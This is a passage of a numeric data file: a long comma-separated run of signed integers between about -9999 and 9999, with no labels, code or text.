,-1334,5021,-3866,-561,-8979,1752,-6469,-1967,7080,-6251,7360,-1949,-1934,-3832,8117,2674,-7773,-8801,-5624,4907,-9964,8168,-6040,-4686,-7559,2620,-4476,-81,-5217,7930,-4119,3912,6195,9776,-2958,-462,-3686,-7462,9247,-3069,9157,-2111,-8464,-9724,4558,105,6001,367,-92,3925,72,6265,-9639,2580,-4798,-4053,-4543,1912,6163,-3678,9321,-9730,5283,1610,7259,-9288,2158,-4244,-2450,-4510,-1305,-2329,-9544,284,631,8554,-8213,-2895,-3130,7484,790,86,-5946,816,3093,-1278,-4182,-3448,1147,-804,1216,-1497,-5514,-7024,9152,36,-465,-6648,-3144,6528,-1298,-4537,-2013,-4788,6019,-9339,2544,-7788,-5995,-4219,-999,236,8994,826,5535,-1323,4390,8902,-2677,594,6372,241,-5537,33,4872,4881,-5927,-792,-825,-3433,7574,329,-6771,6330,-2089,-9285,9973,-7207,6604,2134,-5729,-7668,2510,3029,-4341,-1514,1076,1711,-1319,2335,1699,5220,-8698,5879,-4040,-2361,-4871,6829,-5484,3836,-3501,7467,1580,-4177,8823,6387,8811,4629,-853,-124,2884,-3206,-3182,-3671,-2989,1885,8480,7101,-9006,-4313,3341,2312,-363,-7662,8194,4714,-2261,-1399,-8765,-4899,5378,-4953,1581,-3166,7807,1506,27,7556,8220,7926,-9911,2033,861,-1686,-9660,-9297,-2427,2824,-9904,-3010,5511,904,-9553,461,7534,-1778,8529,-8939,4350,6986,1867,6049,4672,3304,-6138,9868,7609,-6015,5363,-2072,4671,7079,-697,9682,-9081,7903,2967,-3140,4967,-1024,1209,-782,-9914,-6624,452,4940,6350,-1374,-6947,-8625,1557,3405,3411,6073,1245,5190,-6438,9408,3033,-8150,5975,-6401,3270,-2128,2286,-1886,-2343,-6969,887,-4203,-5140,915,-4402,2761,2766,2827,9941,4932,-4554,-6843,5057,-6355,6565,6834,-2396,-9520,-1443,5253,-4887,7247,8750,-9300,646,-4488,2879,4735,-8657,-1468,-1752,-6549,-4883,-4035,7847,-148,747,-2948,-7725,-3782,-8776,818,4067,-1594,-8105,4182,9319,-9920,8183,5553,2557,-964,-2847,-628,-8958,-4869,-5618,6449,-2172,-1933,7598,4043,1108,-8823,-7919,6718,-9680,9505,817,4648,7817,3353,1700,-5519,-2118,-8703,-9623,6487,-8428,7152,277,804,-7247,-3337,-7727,-1683,-6034,-6898,-8731,-6301,-6091,3889,-6959,-3075,6126,-8967,1771,-1576,6994,3765,-1919,2477,-7143,-5517,-7588,736,9297,4237,-4761,9138,5015,2132,4609,9651,-5899,-5982,-5046,-9253,-729,-7457,-503,-4386,-3198,1612,-9753,3949,3216,-2230,9593,-5257,-4979,7740,3183,-2410,4625,7923,-9720,-1018,-73,-6460,-8905,2133,-3916,4204,-6706,-4376,3882,2933,840,2413,-4088,-3636,5727,469,4785,576,-5464,6712,-2347,2955,-5239,2612,9860,6145,9424,-6422,-7225,7304,4494,9035,-6314,-5656,5693,-253,8967,-2475,-163,8706,-5604,6228,-1108,4498,-8241,-2679,-2441,3478,-8978,8065,-8879,9908,6211,9894,5943,-5655,-6031,-5079,181,7042,-415,-4325,-513,-5740,6583,3496,-6636,-8735,-3521,9124,-4467,-1873,-1542,-5753,4018,-9530,6631,-5337,-3834,3638,7242,232,-7600,-3891,579,-1293,4652,2555,-9943,1635,2408,-2012,-6046,-5304,3542,-6096,4705,3373,-4227,-8927,-2239,7915,5036,-4532,-783,7473,9239,-6109,7104,1365,-439,5394,4011,4699,-7167,-9,-4106,-290,6455,-910,6194,-7056,7156,-3883,6602,-7847,-5546,-2232,9566,-6894,-788,-5791,8841,-5634,-3155,-3915,-5284,-3829,-2016,-9561,-7340,1345,-9990,207,-9615,-4492,-8709,6208,4911,9329,-9410,-5288,7546,451,1618,-1762,4120,-9383,9554,-4606,-7829,-8571,-8335,-8763,856,5049,3448,7351,9307,-9158,1972,5254,-681,-1480,-5689,-3952,5173,6364,8681,2959,92,-7353,-8146,4677,-5950,-6409,-2752,6476,6183,-2009,-6252,1743,2865,967,-929,1283,776,2177,-8188,7057,-6865,-8760,4180,9422,-839,1780,8932,-817,-5376,-7730,-8919,6819,7178,-1368,9304,-3048,1978,7241,9690,-8118,339,5219,5116,-1883,-8309,4524,6858,-9883,6144,-6918,6608,-3591,1384,-9596,-6482,-4872,3845,-111,-1880,8136,-6839,-6001,-1735,6134,-8918,2652,-5922,6534,-5055,5421,-8467,-7283,2753,4756,-1239,7842,-463,4935,9064,4715,-2593,687,-5316,4160,-4888,5729,412,-5390,7701,-5722,-1090,1139,-4362,-8507,5785,-5467,769,8966,2872,2913,8284,1623,5202,-5183,8367,-9172,4114,3704,2671,-1736,-9078,-3634,9583,2786,984,1996,-9439,4079,-6833,7822,-5879,3929,-7521,-745,5907,9242,14,-4943,2422,6886,8293,7855,-6172,-387,271,-7490,-8705,-2531,-1119,-5751,-6899,-2,2427,7263,-3688,-3440,-2862,-4848,5830,7699,4387,-9866,-259,-7527,-6632,-5150,6867,-1410,5492,1850,-6449,107,2341,-9179,-6747,1337,4535,3600,8679,5279,7890,1398,-2115,6355,-6411,-4565,2138,1832,-3895,6816,-7639,2894,5085,-9379,6562,-8678,948,-9479,6018,3423,7983,-5614,-1160,2153,-3586,-8594,8930,-140,9345,1018,2290,4399,-6092,-327,-6253,8957,8980,6238,2411,-5014,-857,6848,-8078,8054,-2135,605,5763,1280,4781,-6863,-1625,7401,3247,-3105,-2599,2636,-4234,6373,1515,8083,23,-1852,9118,6512,1169,2851,-5010,-565,-1200,61,620,-9343,-4741,8602,7504,-3366,1070,9745,-4666,6059,710,-8779,-3413,-6030,-1840,8948,-5750,-4187,2710,2263,-127,-4519,-6161,853,741,-9252,8663,391,-3631,-2541,-6269,-4769,7869,5019,896,4565,-859,-7302,-7756,-3207,9108,-4616,-6951,2972,143,4885,8275,-5609,2642,-4128,-676,3849,-2050,4747,-6615,-5061,8402,6358,4914,9617,5657,-2533,6739,4963,-9985,7257,-6139,-5095,2338,1568,859,7028,-416,-7632,-1517,-8004,-4813,6914,8037,-2512,-5671,-9992,-7825,-9499,-828,-7947,-8839,-7163,-3332,7000,-3704,9861,4534,-9124,-7367,9562,5995,8439,5031,2051,8142,82,4571,-80,-8701,4012,3038,-1353,1225,6735,1181,-6812,-8067,-6602,2221,1259,7743,8340,3007,6404,3369,-2834,-9245,-9834,-6137,9645,-1717,3085,-8391,7245,-5410,9592,-3001,5188,-8953,-3790,-4090,-610,8509,702,7885,788,-6868,-6953,-4495,-7926,4248,8535,-314,-6511,-5501,-6749,892,-7911,2602,-360,-7417,1410,58,2001,-7517,-8508,-4216,5104,2184,4115,6371,-8616,-4738,-6768,538,5599,-5326,-6582,3289,-5219,-9798,2806,5521,4649,762,1005,-4516,9189,6954,-277,7892,-4164,-1495,-1793,5775,-2470,-7988,-2767,-7717,-8711,-7528,943,3916,-2451,-2395,-8742,-3992,-8963,-4657,-2874,-252,-4654,2362,-2979,8558,7775,-6285,-6631,6887,9913,4491,234,-1020,-362,8226,166,-3677,2849,298,2204,9165,-5840,7087,-6156,1648,3628,9979,-60,-2707,-1049,1038,179,1555,-4855,-4661,-6730,-7044,-1086,4249,1416,2268,-7906,-4063,-9223,8259,-4231,-8332,-707,-771,8690,7980,7909,-5335,-3194,9306,5789,155,6615,-3888,-2638,8756,9558,7981,3063,-6237,5108,2029,6531,-3871,4486,-1183,7430,-8367,297,-4777,2340,-7836,-6718,-2558,-9894,6854,3412,-7514,6277,6341,-7846,349,1148,3460,-7152,1314,4582,-7311,1021,-2592,3551,-3436,-258,-923,-7054,-39,-2216,-1081,-9638,2210,1008,-1682,516,5026,5289,-3340,3936,9401,-1176,-1063,-5917,-8561,9806,-9023,8372,-952,-8537,-6291,7045,1103,1134,-5023,252,2271,-8753,8785,-2311,9733,7410,-1417,-5221,-7290,445,1812,5872,-7682,-9636,1639,-9159,5659,-5607,8294,-9899,4883,-8898,1004,-8737,5124,-2822,1826,7094,9107,-8843,-1533,-5498,9365,-4274,8574,2141,5917,6540,5375,-988,-6042,9895,-2490,-4975,-9902,-4642,2091,-3659,3050,-5576,-3199,-3424,4667,864,-3394,-3481,-8308,-2236,-5377,-2116,7929,2364,-7066,6093,-4553,5193,-9147,-4065,7273,-297,8458,2900,5972,-4668,-580,2837,3109,5577,4979,1748,-8553,4100,656,-5531,186,5122,-2330,8550,-9074,6190,-6560,1661,-1332,648,669,1242,5376,3100,2977,-7508,-709,-2818,-6695,4061,3853,8292,-14,-320,2566,-429,5558,9373,-1773,-8148,6885,1342,9730,-3730,2146,-3480,4587,1393,-4711,-9651,-6791,-8229,1984,3732,5825,4626,5926,-8738,6842,-6103,6901,49,8199,-1818,-3768,9691,-6707,-6067,6324,44,-8337,8742,-9150,-3865,-3499,9656,3437,3408,-2099,3237,-4974,6774,-480,-5533,9466,-4875,-2902,431,6691,9088,-4838,5952,-4304,2649,-6888,-8059,3819,-7925,-8911,-6609,-1905,-3710,7944,690,7966,-2159,-5987,5504,-1532,-6619,2250,7668,6939,1212,4596,8463,-4633,1980,-396,-5175,301,-9850,-6501,306,9951,-5198,5272,9171,162,1318,340,-9897,-8314,8350,9734,9718,2589,8300,2637,-563,-2600,2909,221,-3152,-5589,7434,4642,654,3068,-8152,4665,9762,-5967,3286,6461,5393,5782,4054,5503,-9182,-9214,-4107,9030,6232,-3353,-6579,-9569,4310,1051,5198,9965,8070,4624,-5673,5210,-1380,5886,-9333,-5438,-7406,1346,-9587,-986,4476,-8722,2348,-7246,2384,2474,75,-9891,-48,5231,-4615,7794,8366,-8893,-8442,7414,-6328,4741,-2540,3252,-3642,-6408,659,5873,-168,7063,3402,-1965,-4671,-3329,-648,5813,-2858,5371,3527,-2946,7682,-1487,5358,5572,-7964,4373,3079,-2903,3432,-3112,-2665,-1581,-9495,-2928,-373,-7697,7460,-2194,-5745,4244,8217,7788,-5669,-6383,9943,5117,2995,7303,-108,-266,-3283,694,-540,-8045,-7133,8211,-8224,56,1740,-1936,2987,-1381,6771,-4667,-7057,-5503,3328,-8725,-8177,3379,-2612,-2284,5413,7717,2643,4375,-9531,7437,-2949,-4477,8253,-4394,9238,-7154,-4321,-5868,2665,-3879,-7838,-6234,-6183,3404,4867,4452,4999,8504,6264,6303,-9378,8673,-4996,-1596,9924,-2254,1023,-7363,-9404,3256,1312,5410,50,9332,2869,29,2584,657,-7610,8721,8421,-4355,7978,2111,6272,6071,-4380,5201,-2196,6010,-2415,-6973,5591,1217,2209,1933,-2848,2932,-4270,1492,-1339,-1331,6427,6381,6114,3689,-1545,2594,-3531,-7039,-6686,8443,-1103,947,-2648,1484,434,-2885,3435,6182,-716,2945,-6980,8190,-5400,6391,-6391,-7184,7441,-4248,6490,-7885,-1345,-9070,4786,8408,4191,4843,-4104,7026,-1645,6515,530,-191,6174,3965,1519,-4125,6989,-3230,-3033,3579,1834,9263,1253,319,732,6799,5505,7406,-4702,9814,-9578,1765,-7203,6951,-4544,-9936,-1116,2345,-2601,1702,3791,-9465,1359,-7746,2468,9488,7956,9489,345,3630,4618,-3305,9693,9259,-8170,2368,-2181,-3615,4702,8559,-3932,-4366,1570,4516,-2121,7810,-8033,9948,-3828,8869,7475,3292,-8729,-7935,5746,-8453,286,4909,-2865,6248,-4406,-8437,293,8010,-6116,4186,210,-5072,5652,7992,-5697,5282,7671,-7867,402,-7392,2155,6101,4707,9295,-655,359,4704,-5007,5974,6405,4047,7072,-1731,2176,5603,4363,-1539,4693,-8421,-5926,1760,4610,-9867,5707,-2635,4384,-4268,2520,-2868,6040,-8270,2773,5753,-6053,-9739,-9144,-6339,9110,-779,3808,4716,5006,-232,5808,-5040,1668,-8945,8826,-7204,7313,4837,4213,-557,9168,-4229,1145,1736,-9099,-6477,5791,-2304,-2850,-9681,-6398,5152,9079,2911,-9659,-9330,-578,-8614,242,-5235,6402,7530,-724,-3908,8298,-8610,666,-2878,-6450,1847,7731,-8021,-5226,239,-4582,6852,5527,9826,-3396,7841,-8494,432,8147,3720,-3107,-9231,-3816,922,1825,-9204,-6936,3683,7601,-8637,9028,3077,-4279,9330,-6556,3027,-9301,-8159,-2416,-9848,-6846,5141,-5848,-2407,8144,8461,-622,1533,-149,-6517,-623,6633,-4597,-3026,501,9269,-6036,8490,-4185,-8046,-7488,1388,2804,-7570,4519,-7982,8540,928,4546,-9816,-6620,-1885,8759,-1419,4411,4943,-931,3271,-1409,-6680,5420,4683,-543,-4458,-1557,8653,-8548,-2551,3950,-2568,9392,-4681,-845,-679,-9188,1993,-3724,9069,3032,2359,-5027,-9164,4840,-2688,-2032,-2871,8983,4915,597,1187,6498,-8924,-2863,-3975,-2839,95,-5903,-9976,-4669,9349,2832,-6332,-4839,527,-2731,-5774,-976,1596,4475,750,-6649,9378,-3552,-4246,4068,-3960,-2498,8201,-1894,9468,4790,9384,4977,9135,2012,990,-3028,9185,-1727,-1653,-4865,4569,4687,-3320,5024,2721,5471,-8554,9054,-4895,3444,6580,-7560,5311,-1465,5241,4247,-1849,-632,-5418,-5613,-5386,3037,2823,4361,9667,-152,-1458,9610,-6323,9767,-1169,-1276,-5352,-3548,681,-209,6256,-3192,-419,-5633,3875,7424,6366,1236,-7380,-913,-9559,-1640,-8326,5275,-2206,-5870,-5770,2601,4329,3785,-8414,4634,-6454,-427,8359,9810,-3684,6797,16,9704,1796,-2315,-6859,-2184,2834,-3663,-3178,1460,6074,-6364,4887,-3645,-2075,-6387,-1151,5970,-3301,9293,-4142,6620,1095,9847,-5308,328,-3060,6692,1040,4937,-6064,3857,-1114,5784,-4051,4808,1429,466,-4080,2657,5575,2787,-8884,6336,-4405,1561,8255,-3218,-4101,-9584,-5020,-3313,9198,4266,2628,1298,3834,-4828,-5902,-9321,4520,-6186,6726,9978,-5494,7155,4673,-1756,3872,7337,-1601,-1348,2372,4873,1322,-1536,3562,-953,1946,9139,-7427,3509,7039,-9057,-7987,5397,-9539,9483,8242,6024,9532,-1658,-2129,5328,9121,-2200,9477,2554,-4436,-6297,-4102,-7683,954,5673,-1059,-3390,-4789,6920,5348,1407,-4237,9288,-4507,-6024,-3114,5336,-3504,-9793,-6512,6207,1930,7586,5137,9025,-8818,2467,-749,-2779,4462,9897,9006,3665,7001,-9422,5293,-3923,-4221,-9013,-5295,-1612,-7249,2473,5239,8222,-9367,-972,-7420,-8253,-1943,9337,-5588,-3518,5437,-3,-2263,4695,382,4234,-2303,6438,-6523,-639,8933,9571,9130,3900,6752,-2729,1164,-7248,-6493,2423,4420,-6646,6288,-3502,6773,-7236,-3799,-1098,7108,2890,5273,-1004,4283,6753,1405,-1828,-6169,8029,-1064,-4486,7771,9699,4437,9082,-1129,-5758,-3219,746,8280,-9582,-2022,-3404,3463,1341,8789,5323,8361,-7222,-7234,-7854,-8974,-8850,-4484,-8461,-3649,-6703,101,523,8363,9904,925,7207,6087,-5957,-9197,665,3095,-1373,8755,4098,8188,2085,7164,-3064,7264,7413,-2719,1970,258,-9454,-3479,-7131,9212,2979,8448,-8355,-5113,-3830,-2955,6094,-7120,4657,-2437,-9598,5997,-5275,-1751,5615,9290,-834,6997,-1102,8352,7151,-5749,6215,5744,7545,1899,4086,4639,3556,-1389,-7331,-6056,3766,-967,9925,-3156,-2605,1829,5543,3548,6060,-8199,-6784,7159,-5822,2558,8086,-1166,-1925,1423,1079,4285,8349,7421,3361,-2927,-3835,-5913,-6731,2220,-3918,5119,6479,4297,-7199,-6278,3040,8955,-7937,9223,9674,1389,-2268,4669,4960,-9064,4711,-8831,-3703,1098,-6644,2820,-6536,-1745,1898,2796,-9024,2162,9341,7916,8069,6100,3000,-7116,6,3380,1224,6084,200,1277,-2110,5814,-8144,2891,-3364,-6688,-9498,8603,7724,-9629,-2130,-8768,9296,4725,1566,3082,-3185,-6781,764,6655,-5196,3648,8917,-9115,-6673,-4153,-8673,8231,-3607,-1928,-5443,233,-4703,8028,5296,154,6681,6970,4103,-3242,1064,257,6268,3249,-8285,-7861,-9871,-5231,-38,-9543,-8502,7628,2235,1584,8863,8025,8418,-2971,-7485,1908,4269,1461,9271,6484,3078,5205,1538,-9156,-7430,-7372,-7346,800,5209,-826,-3691,4818,-3262,-3867,1483,-8205,-7258,-3507,9403,-3919,878,-8110,-1772,-4509,1595,6801,-4733,-8486,-5989,-1369,-5648,1486,7021,-9879,-8702,-3559,-2286,-310,8824,-3763,8737,7429,3501,-8682,3848,-3795,-270,-1045,8511,-2023,-3847,4631,-8854,4383,-8456,-9127,7355,7490,5213,2211,8597,3099,-4685,-66,97,-5360,9119,-4964,1489,-2307,-1833,-1951,-9948,-8538,4479,3519,5755,-4635,-9759,-2248,-3282,-9690,-5112,-9656,2929,6843,8095,-9036,7856,-6358,-130,8553,-3970,-3898,2623,-1110,-2312,5656,9251,4358,5823,5820,-3651,2416,-4551,-146,2812,768,-5470,-3092,4796,6966,5028,6785,4782,3719,5890,8450,9649,9113,5856,6792,106,6685,-6333,-3841,2025,8937,573,917,-302,-424,-5657,-9941,9935,-9618,2920,-5169,1721,-6044,-2134,7314,-7680,4451,2763,1195,1573,-6058,1964,6960,4063,7827,-9675,-2800,-1968,9744,-4620,-1202,-6654,-8027,4235,-4056,-50,-4281,556,-8504,4531,-5048,3508,-9425,1158,-5960,8341,-2425,6586,3999,7736,-3620,-4421,-3874,2390,-1591,2505,-8909,-6926,-3239,-5765,-3991,-9824,-1226,-7736,3285,-6072,-1770,-7010,-2746,-8713,-5676,-3009,4613,-5092,-556,396,-5173,9974,-5885,134,9117,-7720,-7676,9698,-7512,338,9518,961,4983,4028,2304,-872,-4704,2785,4485,-7573,-4473,3684,-5724,-2342,-8732,8868,3481,265,-7837,-6191,4183,-2208,2377,9381,-1655,-8398,-3150,-9447,-6041,1202,9137,-5216,26,3963,-9764,-2547,-7797,5400,7536,-2485,7592,-112,-5935,6591,-6877,5740,5793,-814,-2044,-6143,-472,-9728,5399,8532,-9125,-1128,2101,-566,2985,-892,-9388,-9906,-6961,-8440,4364,6014,8884,6741,-2771,-5049,-7673,-3197,797,9946,-1449,5691,1968,-8,-954,4023,-6722,-6247,5305,-4713,-2619,-9167,-6089,7796,5757,-3726,-4110,4545,-6208,-376,-3801,-5715,4823,4313,-1188,-2004,8204,958,-4854,-5419,-8586,7352,-1528,1013,-914,-9641,-1266,423,-4260,4041,-4697,3705,-3289,-4932,-1300,-1662,4482,-9695,8317,8036,-8433,-4396,695,1754,-5165,9023,-700,-8221,-7425,6702,-9653,2799,370,-9802,2638,170,203,1053,-3076,6325,9354,9187,-3244,-4461,2817,8462,546,-315,7960,4307,-3978,-2374,-8123,-5251,-3977,-1659,-3153,-9476,-9487,-1823,7427,581,-1229,7062,-9184,4614,-4401,-6099,8260,-275,-72,-7161,-7768,-3944,-5773,987,7548,4376,-9293,-9331,7991,3887,9811,-8363,-2951,7954,-4397,-7395,-2327,6454,392,-9366,-8534,-3210,1678,-7656,-37,-3623,-6007,4574,-5811,-9436,8507,-9320,3594,-3825,-4442,-1848,-8166,-1076,-9808,5182,6012,-3824,1113,-4578,-8090,5864,-3901,8380,-1637,-3938,1427,3942,-9849,-8814,4325,7776,6383,7719,8281,141,4036,-4024,-4897,8896,-9139,4252,2269,2664,-3034,4944,-6059,142,-4750,-2977,-1950,1251,-2642,-1427,2935,7262,-619,-4746,4813,-3154,5485,-7771,1367,-6778,-961,964,6394,-4265,-5045,-5721,1578,-9733,4049,2500,7455,-1561,-2309,-8174,-5880,3041,2764,-3527,1924,1382,-4391,6395,-4933,6981,9655,-1286,9020,4810,5029,912,-9106,-500,-13,-7502,810,8026,-1538,7395,-985,455,-2424,8078,-59,3516,6247,-9581,5270,2200,2814,-4529,-4934,7083,-9040,2717,-3256,-7151,-3797,-5600,-9565,8238,-5062,-8917,-7175,-2045,-762,3896,-8306,4607,1360,-1660,-5845,8240,-4084,6104,4280,-8235,-5118,2690,7092,-224,-6374,1114,-7951,-3179,3904,-7174,7093,1666,-2449,-5615,-4767,-1757,6821,-216,8969,8182,-2986,-2983,1704,-7647,-1812,-7969,3888,327,46,-8750,4890,3297,3520,6764,3984,-4257,312,-9532,-6459,-3589,373,-346,8576,-7524,5216,1583,2978,1846,7857,4474,7940,6041,-5474,-8894,2878,6594,7498,1343,-3802,6235,7681,-1338,7928,-5372,6703,-1101,2382,-7804,-1382,-525,-2269,1248,9535,-1440,707,-2833,-6468,3427,6242,2007,-8000,-3995,-71,1773,-6079,5291,8230,3417,-4923,2803,3768,7431,-8160,4045,2004,-5373,-9000,-245,5584,9586,-4200,-6296,-1195,5533,3641,-7520,-5262,-9861,7933,368,-7169,3639,5088,3787,-1479,-4583,-8780,7319,-1087,-165,-832,-4646,-8259,6441,-9684,8009,-9756,8024,-5904,-5435,7251,-4649,5777,-7499,-1096,6660,-4779,-9380,-7602,3763,8780,721,9986,4136,-5684,4597,3866,8202,-1197,7203,-3572,9104,-5301,5760,2157,-8857,-3513,9911,1274,-2155,-1713,-5111,1376,-6104,7298,7610,-6909,-5434,5495,-6588,-4650,-1309,-7888,6765,4448,-3019,3550,-7270,9563,3908,-6180,9621,-1525,8189,6123,9545,-3592,-110,-3246,9478,418,-4939,6070,333,3310,-4212,-9440,6762,8032,6421,6601,7979,9487,-9472,4949,7578,259,9460,5817,-6666,8822,6139,-8860,-5315,5751,2179,9163,1821,5642,-6777,-2446,5453,9494,-4139,-4116,8608,3021,-1394,7524,-6406,-3362,-2932,8274,1397,-2952,453,8640,-8073,-2970,1020,5269,-7636,5076,-9276,9458,2462,9634,-2149,-6862,-4610,-2545,4588,-3672,5195,8582,-3196,7694,8847,4918,8771,-7424,-6235,5472,1381,-9278,160,-2896,4495,-5855,-2914,3064,5427,8059,-728,8659,-6443,-4673,8153,6579,84,9105,7240,-9368,-2597,3589,-2061,9268,3133,5233,-7890,-3731,1875,9214,7997,3255,-1924,3818,738,-1205,624,-5073,-9286,711,-8288,1716,5134,9977,5027,4190,-3430,7673,742,8828,-1439,996,-736,7096,-1383,1646,6021,-1251,7597,-2998,903,-4659,-6740,363,-6006,1266,-9863,-4572,5964,539,-7423,1544,-8454,-2524,4410,-4748,7866,-4614,-4687,8794,3671,-348,3248,7320,1620,5731,8099,-4363,7647,8407,2730,619,8429,-2940,-742,-3303,8543,-3265,-8487,-5397,6975,-6049,4820,-8937,8775,-5825,-5882,4314,-3225,-8084,1218,-7765,-1155,4332,7184,9334,8534,-7171,1531,-1666,-5677,5752,1392,-8858,-1215,6657,661,-8472,7767,2609,-1011,3206,2547,-6887,9572,8263,-1904,-4235,4628,4369,-1711,-3575,3269,6313,-6735,-8796,-7342,-3083,-8733,2830,-8338,6616,7205,1308,-5846,-4586,-5670,283,-7872,4988,3238,-192,7004,-125,1348,3299,4853,-4271,-2966,-8596,-143,7047,-6593,420,8342,-8375,-5131,5687,1718,-7410,7255,-4423,-8747,9749,4594,-5156,6776,3186,-405,-5577,-8828,1488,-7115,-26,9490,9355,-3613,7078,-5704,8661,-3522,7951,-1112,6103,-4611,-5937,5944,873,8949,9475,-3184,-8518,-9999,-7209,-1271,5530,5515,9574,-9757,6005,930,-9007,-2198,495,-6405,6947,7130,5774,499,-8215,5812,4800,-154,7738,6514,-1470,-368,-9800,-9121,8166,-442,-3492,5863,3048,3503,-8609,-5359,-2738,1157,7555,-2495,-982,3024,-6905,-4434,919,-8716,9519,2257,-7686,6542,-284,-4181,1480,-5486,-785,-1872,-5264,6433,8154,5207,-9585,-5996,8667,-7750,1958,-4857,-1642,9032,551,1631,2023,-2355,1805,1177,-6008,-2069,-7635,4201,2349,-7394,3359,-2102,7089,-8626,-2057,2003,4456,-3689,482,4771,6179,-4030,547,-856,-9805,-160,-2153,8369,-7753,8992,-4258,4811,4833,-1405,-4965,9027,4353,-7400,2631,601,-1544,-9820,248,563,-8845,-1219,-5441,4092,3431,-2671,-8058,-5455,-5610,767,-5488,-1661,-971,1418,-1650,-8237,-3025,5457,-7810,5326,-8915,-6576,9398,3057,-7939,-3469,-9737,7219,4151,2686,-4479,-6025,2687,-803,-2684,-3299,-3720,1109,-2926,1230,1383,-5966,9083,-9086,3655,4405,8422,-1698,-3988,7020,57,-3334,-9255,8310,7470,9344,1738,4305,-6396,1995,-410,-3590,8531,-6510,-9719,-6608,5689,-5953,9178,5756,-9401,5840,1102,3604,3326,-1583,2119,-1311,-4482,-7244,1316,9539,477,-3749,-9107,-2015,3483,-3160,-2197,8959,3998,-8484,-5707,3918,-3018,-9470,169,6964,-8233,7831,-7292,8752,-3839,4141,600,-9987,6903,-8786,-133,5862,-2853,-5383,-8824,3795,-3494,3231,-2567,187,630,6946,-975,-93,-3600,7780,-6708,9090,-4374,-5125,6328,-2176,-7141,8624,6575,4778,-1824,-6090,-862,1914,3137,3210,291,7611,-818,-4793,855,-8120,3854,1792,2122,-3800,4274,485,3281,-6343,2030,6878,-9655,-4630,5779,7392,757,3059,1530,-6939,6628,8694,-9394,-7784,-6093,3413,4055,-443,6630,3489,6911,-6508,8988,-9926,3876,-694,-9174,-9679,-3027,-5672,-9149,7404,-3715,-3081,7336,-1740,-2957,-7181,-3701,7639,1588,-3630,5702,5844,1426,-3338,-7301,9034,3365,8489,9313,1669,-597,2588,6747,-3959,-9503,-3371,5476,-8925,5661,7439,-4414,-3945,9103,6063,-8846,-5968,-5820,9465,-1910,6507,-7616,704,-2163,7906,7221,8077,-7594,-3549,7547,4386,-6498,-4941,2026,1234,-9153,1873,6518,8820,-1920,9428,9542,7840,2511,9161,6369,-2438,1772,-2090,-2884,-3378,4096,5304,-4149,-4523,9914,-693,-1131,-323,9766,-3410,-87,-4485,9837,-8859,8347,-9263,-1255,-3753,2442,2457,-2412,-6976,-7178,-3955,4533,-298,8318,3591,5161,1323,7710,6915,5408,-1942,9036,-9974,1075,8853,745,3793,6048,4341,2058,-8627,8761,-1862,1879,8609,-9511,6877,-7589,8139,-1388,2405,9632,8942,7027,8081,38,9413,1607,-7245,6731,-7689,-631,9737,52,7539,8157,9537,-1401,1784,-6819,6478,7773,-9772,2889,-1704,-993,559,3060,4177,8788,-1948,9815,7570,1001,1649,422,4738,3524,-264,-5854,-8169,360,-4041,2456,-425,3142,-654,-7032,-2113,5685,-482,8729,-4751,4200,-5094,-4512,313,1640,-4918,1974,-8808,4774,-420,-1162,-3200,5165,6851,6153,-3498,3756,2394,6413,-2398,3090,-2837,1233,6532,3233,1601,2708,-5808,-5101,-5545,-5962,1608,-6542,-8636,8195,1985,-5184,441,9474,-2132,-5782,-1075,-6147,-5199,-2972,6818,4955,-4166,3124,1166,4357,-4781,2956,437,-1421,2975,8786,-9546,-3609,-4521,1475,-4559,6273,-4858,-4710,2142,3020,-6594,9578,-2777,-2400,8606,-6761,-118,-6115,-359,-8468,-802,7479,-9068,-5803,-6527,8387,3490,3892,-293,9838,1512,-4173,-7214,-2714,-9054,9673,-6779,6933,-1471,-6325,599,-715,5250,-6400,5883,786,-4097,-5065,2757,-2349,-2035,-18,3691,-9950,2156,7148,4319,-2503,6844,4377,5920,1320,1010,9780,-1922,-4112,-981,2666,-9634,4633,4503,7375,-1834,-8996,1791,-8597,-1668,-5240,-2843,-6641,1101,-2150,-9317,9222,-2554,-9272,9368,2493,-5590,3355,2739,9143,814,6003,-7721,9721,3127,-4296,1621,-8319,2874,-9015,-8694,-6349,3268,6912,5332,-6942,3911,6596,-9399,2161,4527,7382,-2577,7169,805,7090,4522,-939,-6919,-2302,8004,-5984,2049,-5206,9743,7575,-8861,-6303,-7095,2379,-7652,-6413,6952,-3584,8102,-5764,-7482,-2027,-3148,-5829,-142,-8531,-3351,-9900,3320,-5466,-2722,-4347,-7539,837,-4180,-3382,-481,8698,4733,5875,-4737,822,-4301,3742,-6417,-9709,-2082,5234,-9947,2089,-3379,-9075,-5013,-3309,-7186,-6842,-2338,5186,-119,623,9622,-533,6644,4641,-3120,-9931,-504,6212,6173,-3622,-6082,-6599,-587,-7403,8590,8337,3946,6281,9180,6606,-1964,-548,2303,8060,-7619,-9035,9722,-1776,2514,7024,-5252,5958,4931,2672,2414,-4679,1347,-5032,3840,-1827,-5346,5001,-1264,-4867,6133,-3772,-158,-2326,-395,-7191,-1902,-3669,-8926,7585,-2791,-3999,2565,7091,270,-3298,-3849,-7094,9775,9969,7551,5588,4355,5298,-2663,2043,4952,2452,-3422,7317,-7475,-3862,-7583,-2602,-2428,-6538,-2657,5452,-205,-4202,6956,1725,-1975,-261,1505,-342,-4222,-2014,-8460,5194,5761,-4283,9647,7041,-2892,-5680,-3920,-3049,3983,-764,3537,7643,7266,-2620,9363,6993,8708,-4004,1009,-4901,-7999,-7448,68,7181,4472,1452,8683,6090,8116,1161,-3316,-5130,-7921,-4540,-3902,882,3993,-5965,-1400,-6813,-1046,4765,-3287,-2109,9887,-3727,4155,-311,-7264,-6752,-2432,-7320,-7814,2677,1188,-1423,-1447,-8667,-6790,-7029,-8234,2888,3442,130,-6845,3883,-5631,8273,-4209,1378,-3619,4130,-2849,6599,8484,8802,-4469,5927,1687,-7596,-2279,5063,6835,1408,-6539,-6165,5819,6661,-532,-9702,3634,-5149,-8286,369,-602,-3306,-1691,-9452,929,-6903,1301,4394,-3052,6917,3170,-1955,7852,-3214,-7617,8730,-7581,-9627,-8907,6898,6309,-7170,2742,5915,7922,-2733,-1372,-5620,1390,-5339,9770,3295,7787,-3892,-3408,-6675,7290,6625,781,3228,-6259,9524,7879,1090,6147,4603,-5817,-9271,-7612,-6102,8068,1033,-6257,3640,-5294,-711,4449,2998,1977,1054,-5088,1149,4731,-3746,-6207,6557,-7089,-2569,962,-2548,-8888,8618,-367,9012,515,-2859,-3610,4590,8684,2375,7620,5018,-4072,2347,-3713,6961,7123,-2513,-1363,2465,-5595,6971,-568,9779,-7188,8845,-1253,2131,-3216,-7